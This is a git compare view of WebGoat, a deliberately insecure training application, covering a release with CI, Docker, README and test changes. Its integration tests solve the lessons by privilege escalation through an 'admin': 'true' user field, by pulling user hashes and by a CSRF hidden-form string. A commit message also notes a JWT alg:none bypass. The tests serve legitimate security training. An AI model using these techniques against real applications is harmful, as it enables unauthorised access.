Compare commits

...

32 Commits

Author SHA1 Message Date
3fd66ee9d9 chore: release version 2023.4 2023-02-17 13:13:35 +01:00
0f38519ecf ci: add step for pushing Docker desktop image 2023-02-17 12:56:43 +01:00
4c95c9ec6a ci: add step to build and verify Docker image 2023-02-17 12:56:43 +01:00
f6c7a54931 docs: add screenshot to README and add Docker WebGoat desktop text 2023-02-17 12:56:43 +01:00
f1012c85d6 feat: add Docker desktop version of WebGoat with all tools installed
The new Docker image uses linuxserver/webtop giving users the opportunity
to run a Linux desktop in their browser without installing any tools
on their local machine.
2023-02-17 12:56:43 +01:00
ecfc321f14 feature: Add extra feedback once someone solves JWT refresh lesson differently
One can solve this lesson by using `alg:none` instead of using the refresh token flow. Instead of adding a check to force using the refresh token we opt for giving the user extra feedback.
2023-02-16 20:32:27 +00:00
73b8c431fc chore: use constructor instead of field dependency injection 2023-02-16 20:32:27 +00:00
b68adfbc7c Bump devops-infra/action-pull-request from 0.5.3 to 0.5.5
Bumps [devops-infra/action-pull-request](https://github.com/devops-infra/action-pull-request) from 0.5.3 to 0.5.5.
- [Release notes](https://github.com/devops-infra/action-pull-request/releases)
- [Commits](https://github.com/devops-infra/action-pull-request/compare/v0.5.3...v0.5.5)

---
updated-dependencies:
- dependency-name: devops-infra/action-pull-request
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-02-16 14:09:05 +00:00
1a2855afcd chore: set directories explicitly when running IT tests 2023-02-16 12:24:02 +00:00
693771220c fix: change url in JavaScript for JWT endpoint
The JavaScript pointed to the context root /WebWolf/ which is no longer in use.
2023-02-16 12:24:02 +00:00
075b1ab30a Fix WebWolf JWT tool 2023-02-15 22:40:24 +00:00
390ff39f19 chore: format src/test/it as well 2023-02-15 19:01:06 +00:00
3ec34b0df5 fix: challenge test fails sometimes when calling scoreboard endpoint 2023-02-15 19:01:06 +00:00
eb4c8388f8 Update Dockerfile 2023-02-15 12:11:12 +00:00
ae081ce319 Add fileserver location (test) 2023-02-15 12:00:54 +00:00
bd398e4c09 #1396 Fix templates path for views 2023-02-15 11:58:49 +00:00
c9d1653d4f Bump docker/build-push-action from 3.2.0 to 4.0.0
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 3.2.0 to 4.0.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v3.2.0...v4.0.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-02-10 21:39:35 +01:00
77c91b8df8 Bump actions/cache from 3.2.3 to 3.2.5
Bumps [actions/cache](https://github.com/actions/cache) from 3.2.3 to 3.2.5.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.2.3...v3.2.5)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-02-10 21:38:56 +01:00
f9b810c5ee Fix formatting issue 2023-01-14 18:29:24 +01:00
dc0fc09679 Move to main and skip develop
Using main and develop imposes a complicated release process with Gitflow etc. To simplify our release process we move our development to the main branch skipping develop.
2023-01-14 18:24:35 +01:00
a0173fd8f8 Merge branch 'develop' 2023-01-14 17:07:37 +01:00
58e7e9d4ef Bump actions/cache from 3.2.2 to 3.2.3
Bumps [actions/cache](https://github.com/actions/cache) from 3.2.2 to 3.2.3.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.2.2...v3.2.3)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-01-11 20:59:09 +01:00
c7a41d1b17 Merge branch 'release/v2023.3' into develop 2023-01-05 21:59:37 +01:00
edd9aa36c2 Merge branch 'release/v2023.3' 2023-01-05 21:59:29 +01:00
27fe1850de Preparing new release 2023-01-05 21:59:01 +01:00
5c2bbd1227 Fix jar path while creating a release 2023-01-05 21:57:08 +01:00
683b629663 Back to snapshot 2023-01-05 21:52:40 +01:00
04908a81e7 Add change log URL 2023-01-05 21:51:45 +01:00
701de68ef2 Merge branch 'release/v2023.2' into develop 2023-01-05 21:37:28 +01:00
81ed738493 Merge branch 'release/v2023.2' 2023-01-05 21:37:21 +01:00
c03d153978 New release 2023-01-05 21:36:48 +01:00
6ab04db2ee Merge branch 'release/v2023.1' into develop 2023-01-05 21:06:36 +01:00
50 changed files with 2443 additions and 1995 deletions

View File

@ -1,3 +1,4 @@
**
!/target
!/config/desktop

View File

@ -1,68 +1,60 @@
name: "Build"
name: "Pull requests build"
on:
pull_request:
paths-ignore:
- '.txt'
- 'LICENSE'
- 'docs/**'
push:
branches:
- main
- develop
- release/*
tags-ignore:
- '*'
paths-ignore:
- '.txt'
- 'LICENSE'
- 'docs/**'
pull_request:
paths-ignore:
- '.txt'
- 'LICENSE'
- 'docs/**'
jobs:
pr-build:
if: >
github.event_name == 'pull_request' && !github.event.pull_request.draft && (
github.event.action == 'opened' ||
github.event.action == 'reopened' ||
github.event.action == 'synchronize'
)
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, windows-latest, macos-latest]
steps:
- uses: actions/checkout@v3
- name: Set up JDK 17
uses: actions/setup-java@v3
with:
distribution: 'temurin'
java-version: 17
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v3.2.2
with:
path: ~/.m2
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ${{ runner.os }}-m2-
- name: Build with Maven
run: mvn --no-transfer-progress verify
build:
if: github.repository == 'WebGoat/WebGoat' && github.event_name == 'push'
runs-on: ubuntu-latest
name: "Branch build"
steps:
- uses: actions/checkout@v3
- name: set up JDK 17
uses: actions/setup-java@v3
with:
distribution: 'temurin'
java-version: 17
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v3.2.2
with:
path: ~/.m2
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ubuntu-latest-m2-
- name: Test with Maven
run: mvn --no-transfer-progress verify
pr-build:
if: >
github.event_name == 'pull_request' && !github.event.pull_request.draft && (
github.event.action == 'opened' ||
github.event.action == 'reopened' ||
github.event.action == 'synchronize'
)
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ ubuntu-latest, windows-latest, macos-latest ]
steps:
- uses: actions/checkout@v3
- name: Set up JDK 17
uses: actions/setup-java@v3
with:
distribution: 'temurin'
java-version: 17
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v3.2.5
with:
path: ~/.m2
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ${{ runner.os }}-m2-
- name: Build with Maven
run: mvn --no-transfer-progress verify
- name: "Set up QEMU"
if: runner.os == 'Linux'
uses: docker/setup-qemu-action@v2.1.0
- name: "Set up Docker Buildx"
if: runner.os == 'Linux'
uses: docker/setup-buildx-action@v2
- name: "Verify Docker WebGoat build"
if: runner.os == 'Linux'
uses: docker/build-push-action@v4.0.0
with:
context: ./
file: ./Dockerfile
push: false
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
- name: "Verify Docker WebGoat desktop build"
uses: docker/build-push-action@v4.0.0
if: runner.os == 'Linux'
with:
context: ./
file: ./Dockerfile_desktop
push: false
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}

View File

@ -13,19 +13,15 @@ jobs:
steps:
- uses: actions/checkout@v3
- name: "Get tag name"
id: tag
uses: dawidd6/action-get-tag@v1
- name: Set up JDK 17
uses: actions/setup-java@v3
with:
distribution: 'zulu'
distribution: 'temurin'
java-version: 17
architecture: x64
- name: Cache Maven packages
uses: actions/cache@v3.2.2
uses: actions/cache@v3.2.5
with:
path: ~/.m2
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
@ -33,8 +29,8 @@ jobs:
- name: "Set labels for ${{ github.ref }}"
run: |
echo "WEBGOAT_TAG_VERSION=${{ steps.tag.outputs.tag }}" >> $GITHUB_ENV
WEBGOAT_MAVEN_VERSION=${{ steps.tag.outputs.tag }}
echo "WEBGOAT_TAG_VERSION=${{ github.ref_name }}" >> $GITHUB_ENV
WEBGOAT_MAVEN_VERSION=${{ github.ref_name }}
echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV
- name: Build with Maven
run: |
@ -46,7 +42,7 @@ jobs:
with:
draft: false
files: |
webgoat/target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
body: |
## Version ${{ steps.tag.outputs.tag }}
@ -58,6 +54,8 @@ jobs:
- [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
Full change log: https://github.com/WebGoat/WebGoat/compare/${{ steps.tag.outputs.tag }}...${{ steps.tag.outputs.tag }}
## Contributors
@ -87,8 +85,8 @@ jobs:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: "Build and push"
uses: docker/build-push-action@v3.2.0
- name: "Build and push WebGoat"
uses: docker/build-push-action@v4.0.0
with:
context: ./
file: ./Dockerfile
@ -100,22 +98,27 @@ jobs:
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
- name: "Image digest"
run: echo ${{ steps.docker_build.outputs.digest }}
- name: "Build and push WebGoat desktop"
uses: docker/build-push-action@v4.0.0
with:
context: ./
file: ./Dockerfile_desktop
push: true
platforms: linux/amd64, linux/arm64, linux/arm/v7
tags: |
webgoat/webgoat-desktop:${{ env.WEBGOAT_TAG_VERSION }}
webgoat/webgoat-desktop:latest
build-args: |
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
new_version:
permissions:
contents: write # for Git to git push
if: github.repository == 'WebGoat/WebGoat'
name: Update development version
name: Update to next SNAPSHOT version
needs: [ release ]
runs-on: ubuntu-latest
environment:
name: release
steps:
- uses: actions/checkout@v3
with:
ref: develop
token: ${{ secrets.WEBGOAT_DEPLOYER_TOKEN }}
fetch-depth: 0
- name: Set up JDK 17
uses: actions/setup-java@v3
@ -125,12 +128,20 @@ jobs:
- name: Set version to next snapshot
run: |
mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}.\${parsedVersion.nextIncrementalVersion}-SNAPSHOT versions:commit
mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}-SNAPSHOT versions:commit
- name: Push the changes to new branch
uses: devops-infra/action-commit-push@v0.9.2
with:
github_token: "${{ secrets.GITHUB_TOKEN }}"
add_timestamp: true
commit_message: "Updating to the new development version"
force: false
- name: Create PR
uses: devops-infra/action-pull-request@v0.5.5
with:
github_token: "${{ secrets.GITHUB_TOKEN }}"
title: ${{ github.event.commits[0].message }}
target_branch: main
- name: Commit pom.xml
run: |
git config user.name webgoat-github
git config user.email owasp.webgoat@gmail.com
find . -name 'pom.xml' | xargs git add
git commit -m "Updating to the new development version"
git push

View File

@ -2,14 +2,11 @@ name: "UI-Test"
on:
pull_request:
paths-ignore:
- '.txt'
- '*.MD'
- '*.md'
- 'LICENSE'
- 'docs/**'
push:
# tags-ignore:
# - '*'
tags-ignore:
- 'v*'
paths-ignore:
- '.txt'
- '*.MD'
@ -24,45 +21,45 @@ jobs:
name: "Robot framework test"
steps:
# Uses an default action to checkout the code
- uses: actions/checkout@v3
- uses: actions/checkout@v3
# Uses an action to add Python to the VM
- name: Setup Pyton
uses: actions/setup-python@v4
with:
python-version: '3.7'
architecture: x64
- name: Setup Pyton
uses: actions/setup-python@v4
with:
python-version: '3.7'
architecture: x64
# Uses an action to add JDK 17 to the VM (and mvn?)
- name: set up JDK 17
uses: actions/setup-java@v3
with:
distribution: 'temurin'
java-version: 17
architecture: x64
- name: set up JDK 17
uses: actions/setup-java@v3
with:
distribution: 'temurin'
java-version: 17
architecture: x64
#Uses an action to set up a cache using a certain key based on the hash of the dependencies
- name: Cache Maven packages
uses: actions/cache@v3.2.2
with:
path: ~/.m2
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ubuntu-latest-m2-
- uses: BSFishy/pip-action@v1
with:
packages: |
robotframework
robotframework-SeleniumLibrary
webdriver-manager
- name: Run with Maven
run: mvn --no-transfer-progress spring-boot:run &
- name: Wait to start
uses: ifaxity/wait-on-action@v1
with:
resource: http://127.0.0.1:8080/WebGoat
- name: Test with Robotframework
run: python3 -m robot --variable HEADLESS:"1" --outputdir robotreport robot/goat.robot
- name: Cache Maven packages
uses: actions/cache@v3.2.5
with:
path: ~/.m2
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
restore-keys: ubuntu-latest-m2-
- uses: BSFishy/pip-action@v1
with:
packages: |
robotframework
robotframework-SeleniumLibrary
webdriver-manager
- name: Run with Maven
run: mvn --no-transfer-progress spring-boot:run &
- name: Wait to start
uses: ifaxity/wait-on-action@v1
with:
resource: http://127.0.0.1:8080/WebGoat
- name: Test with Robotframework
run: python3 -m robot --variable HEADLESS:"1" --outputdir robotreport robot/goat.robot
# send report to forks only due to limits on permission tokens
- name: Send report to commit
if: github.repository != 'WebGoat/WebGoat' && github.event_name == 'push'
uses: joonvena/robotframework-reporter-action@v2.1
with:
gh_access_token: ${{ secrets.GITHUB_TOKEN }}
report_path: 'robotreport'
- name: Send report to commit
if: github.repository != 'WebGoat/WebGoat' && github.event_name == 'push'
uses: joonvena/robotframework-reporter-action@v2.1
with:
gh_access_token: ${{ secrets.GITHUB_TOKEN }}
report_path: 'robotreport'

View File

@ -86,7 +86,7 @@ For example: `Fix #545` or `Closes #10`
```bash
$ git fetch upstream
$ git merge upstream/develop
$ git merge upstream/main
```
See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")".

View File

@ -2,31 +2,20 @@
### Version numbers
For WebGoat we use milestone releases first before we release the official version, we use `v8.0.0.M3` while tagging
and 8.0.0.M3 in the `pom.xml`. When we create the final release we remove the milestone release and use
`v8.0.0` in the `pom.xml`
For WebGoat we use milestone releases first before we release the official version, we use `v2023.01` while tagging
and 2023.01 in the `pom.xml`.
### Release notes:
Update the release notes with the correct version. Use `git shortlog -s -n --since "SEP 31 2019"` for the list of
Update the release notes with the correct version. Use `git shortlog -s -n --since "JAN 06 2023"` for the list of
committers.
At the moment we use Gitflow, for a release you create a new release branch and take the following steps:
```
git checkout develop
git flow release start <version>
git flow release publish
<<Make changes if necessary>>
<<Update RELEASE_NOTES.md>>
git flow release finish <version>
git push origin develop
git push origin main
mvn versions:set
<< update release notes >>
mvn verify
git commit ....
git tag v2023.01
git push --tags
```
Now Travis takes over and will create the release in Github and on Docker Hub.
NOTE: the `mvn versions:set` command above is just there to make sure the master branch contains the latest version

View File

@ -1,8 +1,11 @@
FROM docker.io/eclipse-temurin:17-jre-focal
LABEL NAME = "WebGoat: A deliberately insecure Web Application"
MAINTAINER "WebGoat team"
RUN useradd -ms /bin/bash webgoat
RUN chgrp -R 0 /home/webgoat
RUN chmod -R g=u /home/webgoat
RUN \
useradd -ms /bin/bash webgoat && \
chgrp -R 0 /home/webgoat && \
chmod -R g=u /home/webgoat
USER webgoat

29
Dockerfile_desktop Normal file
View File

@ -0,0 +1,29 @@
FROM lscr.io/linuxserver/webtop:ubuntu-xfce
LABEL NAME = "WebGoat: A deliberately insecure Web Application"
MAINTAINER "WebGoat team"
WORKDIR /config
COPY target/webgoat-*.jar /config/webgoat.jar
COPY config/desktop/start_webgoat.sh /config/start_webgoat.sh
COPY config/desktop/start_zap.sh /config/start_zap.sh
COPY config/desktop/WebGoat.txt /config/Desktop/
RUN \
curl -LO https://github.com/zaproxy/zaproxy/releases/download/v2.12.0/ZAP_2.12.0_Linux.tar.gz && \
tar zfxv ZAP_2.12.0_Linux.tar.gz && \
rm -rf ZAP_2.12.0_Linux.tar.gz && \
curl -LO https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.6%2B10/OpenJDK17U-jre_aarch64_linux_hotspot_17.0.6_10.tar.gz && \
tar zfxv OpenJDK17U-jre_aarch64_linux_hotspot_17.0.6_10.tar.gz && \
rm -rf OpenJDK17U-jre_aarch64_linux_hotspot_17.0.6_10.tar.gz && \
chmod +x /config/start_webgoat.sh && \
chmod +x /config/start_zap.sh && \
apt-get update && \
apt-get --yes install vim nano && \
echo "JAVA_HOME=/config/jdk-17.0.6+10-jre/" >> .bash_aliases && \
echo "PATH=$PATH:$JAVA_HOME/bin" >> .bash_aliases
ENV JAVA_HOME=/home/webgoat/jdk-17.0.6+10-jre
WORKDIR /config/Desktop

View File

@ -27,24 +27,26 @@ you are caught engaging in unauthorized hacking, most companies will fire you.
Claiming that you were doing security research will not work as that is the
first thing that all hackers claim.*
![WebGoat](docs/images/webgoat.png)
# Installation instructions:
For more details check [the Contribution guide](/CONTRIBUTING.md)
## 1. Run using Docker
Already have a browser and ZAP and/or Burp installed on your machine in this case you can run the WebGoat image directly using Docker.
Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).
The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker image that has WebGoat and WebWolf running inside.
```shell
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
```
If you want to reuse the container, give it a name:
```shell
docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
```
As long as you don't remove the container you can use:
@ -55,19 +57,25 @@ docker start webgoat
This way, you can start where you left off. If you remove the container, you need to use `docker run` again.
**Important**: *Choose the correct timezone, so that the docker container and your host are in the same timezone. As it is important for the validity of JWT tokens used in certain exercises.*
## 2. Run using Docker with complete Linux Desktop
## 2. Standalone
Instead of installing tools locally we have a complete Docker image based on running a desktop in your browser. This way you only have to run a Docker image which will give you the best user experience.
```shell
docker run -p 127.0.0.1:3000:3000 webgoat/webgoat-desktop
```
## 3. Standalone
Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
```shell
java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-2023.1.jar
java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-2023.3.jar
```
Click the link in the log to start WebGoat.
## 3. Run from the sources
## 4. Run from the sources
### Prerequisites:
@ -96,7 +104,7 @@ git checkout <<branch_name>>
docker build -f Dockerfile . -t webgoat/webgoat
```
Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
Now we are ready to run the project. WebGoat is using Spring Boot.
```Shell
# On Linux/Mac:
@ -125,12 +133,12 @@ For instance running as a jar on a Linux/macOS it will look like this:
```Shell
export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
java -jar target/webgoat-2023.1-SNAPSHOT.jar
java -jar target/webgoat-2023.3-SNAPSHOT.jar
```
Or in a docker run it would (once this version is pushed into docker hub) look like this:
```Shell
docker run -d -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
docker run -d -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
```

View File

@ -1,8 +1,21 @@
# WebGoat release notes
## Version 2023.1
## Version 2023.4
With great pleasure, we present you with a new release of WebGoat **2023.0**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme).
### New functionality
- [#1422 Add Docker Linux Desktop variant with all tools installed](https://github.com/WebGoat/WebGoat/issues/1422). Thanks to the [OWASP WrongSecrets project](https://owasp.org/www-project-wrongsecrets/) we now have a Docker Linux desktop image with all the tools installed. No need to install any tools locally only run the new Docker image. See README.md for details on how to start it.
- [#1411 JWT: looks that buy as Tom also works with alg:none](https://github.com/WebGoat/WebGoat/issues/1411).
### Bug fixes
- [#1410 WebWolf: JWT decode is broken](https://github.com/WebGoat/WebGoat/issues/1410).
- [#1396 password_reset return 500 Error](https://github.com/WebGoat/WebGoat/issues/1396).
- [#1379 Move XXE to A05:2021-Security Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379).
## Version 2023.3
With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme).
A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we can make
many more releases this year.
@ -34,7 +47,6 @@ many more releases this year.
### Bug fixes
- [#1193 Vulnerable component lesson - java.desktop does not "opens java.beans" to unnamed module](https://github.com/WebGoat/WebGoat/issues/1193)
- [#1176 Minor: XXE lesson 12 patch not reset by 'lesson reset' while it IS reset by leaving/returning to lesson](https://github.com/WebGoat/WebGoat/issues/1176)
- [#1134 "Exploiting XStream" assignment does not work](https://github.com/WebGoat/WebGoat/issues/1134)

View File

@ -0,0 +1,10 @@
** Welcome to WebGoat desktop image
With this image you have WebGoat and ZAP and a browser available to you in a browser running on Ubuntu.
You can start WebGoat and ZAP by opening a terminal and type:
./start-webgoat.sh
./start_zap.sh
Happy hacking,
Team WebGoat

View File

@ -0,0 +1,17 @@
#!/bin/sh
/config/jdk-17.0.6+10-jre/bin/java \
-Duser.home=/config \
-Dfile.encoding=UTF-8 \
-DTZ=Europe/Amsterdam \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
--add-opens java.base/java.text=ALL-UNNAMED \
--add-opens java.desktop/java.beans=ALL-UNNAMED \
--add-opens java.desktop/java.awt.font=ALL-UNNAMED \
--add-opens java.base/sun.nio.ch=ALL-UNNAMED \
--add-opens java.base/java.io=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
-Drunning.in.docker=false \
-jar /config/webgoat.jar

View File

@ -0,0 +1,3 @@
#!/bin/sh
/config/jdk-17.0.6+10-jre/bin/java -jar /config/ZAP_2.12.0/zap-2.12.0.jar

BIN
docs/images/webgoat.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 319 KiB

12
pom.xml
View File

@ -10,7 +10,7 @@
</parent>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat</artifactId>
<version>2023.1</version>
<version>2023.4</version>
<packaging>jar</packaging>
<name>WebGoat</name>
@ -536,6 +536,11 @@
<flexmark></flexmark>
</markdown>
<java>
<includes>
<include>src/main/java/**/*.java</include>
<include>src/test/java/**/*.java</include>
<include>src/it/java/**/*.java</include>
</includes>
<removeUnusedImports></removeUnusedImports>
<googleJavaFormat>
<style>GOOGLE</style>
@ -650,8 +655,9 @@
<argument>java</argument>
<argument>-jar</argument>
<argument>-Dlogging.pattern.console=</argument>
<argument>-Dwebgoat.server.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
<argument>-Dwebgoat.user.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
<argument>-Dspring.main.banner-mode=off</argument>
<argument>-Dspring.datasource.url=jdbc:hsqldb:file:${java.io.tmpdir}/webgoat</argument>
<argument>-Dwebgoat.port=${webgoat.port}</argument>
<argument>-Dwebwolf.port=${webwolf.port}</argument>
<argument>--add-opens</argument>
@ -675,7 +681,7 @@
<argument>${project.build.directory}/webgoat-${project.version}.jar</argument>
</arguments>
<waitForInterrupt>false</waitForInterrupt>
<healthcheckUrl>http://localhost:${webgoat.port}/WebGoat/</healthcheckUrl>
<healthcheckUrl>http://localhost:${webgoat.port}/WebGoat/actuator/health</healthcheckUrl>
</configuration>
</execution>
<execution>

View File

@ -1,86 +1,86 @@
package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.util.Map;
import org.apache.http.HttpStatus;
import org.junit.jupiter.api.Test;
import java.util.Map;
class AccessControlIntegrationTest extends IntegrationTest {
@Test
void testLesson() {
startLesson("MissingFunctionAC", true);
assignment1();
assignment2();
assignment3();
@Test
void testLesson() {
startLesson("MissingFunctionAC", true);
assignment1();
assignment2();
assignment3();
checkResults("/access-control");
}
checkResults("/access-control");
}
private void assignment3() {
//direct call should fail if user has not been created
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(url("/WebGoat/access-control/users-admin-fix"))
.then()
.statusCode(HttpStatus.SC_FORBIDDEN);
private void assignment3() {
// direct call should fail if user has not been created
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(url("/WebGoat/access-control/users-admin-fix"))
.then()
.statusCode(HttpStatus.SC_FORBIDDEN);
//create user
var userTemplate = """
// create user
var userTemplate =
"""
{"username":"%s","password":"%s","admin": "true"}
""";
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.body(String.format(userTemplate, this.getUser(), this.getUser()))
.post(url("/WebGoat/access-control/users"))
.then()
.statusCode(HttpStatus.SC_OK);
// get the users
var userHash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.body(String.format(userTemplate, this.getUser(), this.getUser()))
.post(url("/WebGoat/access-control/users"))
.then()
.statusCode(HttpStatus.SC_OK);
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(url("/WebGoat/access-control/users-admin-fix"))
.then()
.statusCode(200)
.extract()
.jsonPath()
.get("find { it.username == \"Jerry\" }.userHash");
//get the users
var userHash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(url("/WebGoat/access-control/users-admin-fix"))
.then()
.statusCode(200)
.extract()
.jsonPath()
.get("find { it.username == \"Jerry\" }.userHash");
checkAssignment(
url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
}
checkAssignment(url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
}
private void assignment2() {
var userHash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(url("/WebGoat/access-control/users"))
.then()
.statusCode(200)
.extract()
.jsonPath()
.get("find { it.username == \"Jerry\" }.userHash");
private void assignment2() {
var userHash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(url("/WebGoat/access-control/users"))
.then()
.statusCode(200)
.extract()
.jsonPath()
.get("find { it.username == \"Jerry\" }.userHash");
checkAssignment(url("/WebGoat/access-control/user-hash"), Map.of("userHash", userHash), true);
}
checkAssignment(url("/WebGoat/access-control/user-hash"), Map.of("userHash", userHash), true);
}
private void assignment1() {
var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
checkAssignment(url("/WebGoat/access-control/hidden-menu"), params, true);
}
private void assignment1() {
var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
checkAssignment(url("/WebGoat/access-control/hidden-menu"), params, true);
}
}

View File

@ -1,8 +1,18 @@
package org.owasp.webgoat;
import static org.assertj.core.api.Assertions.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import lombok.Data;
import lombok.SneakyThrows;
import org.junit.jupiter.api.AfterEach;
@ -11,249 +21,265 @@ import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import org.owasp.webgoat.container.lessons.Assignment;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import static org.assertj.core.api.Assertions.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
public class CSRFIntegrationTest extends IntegrationTest {
private static final String trickHTML3 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
"<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n" +
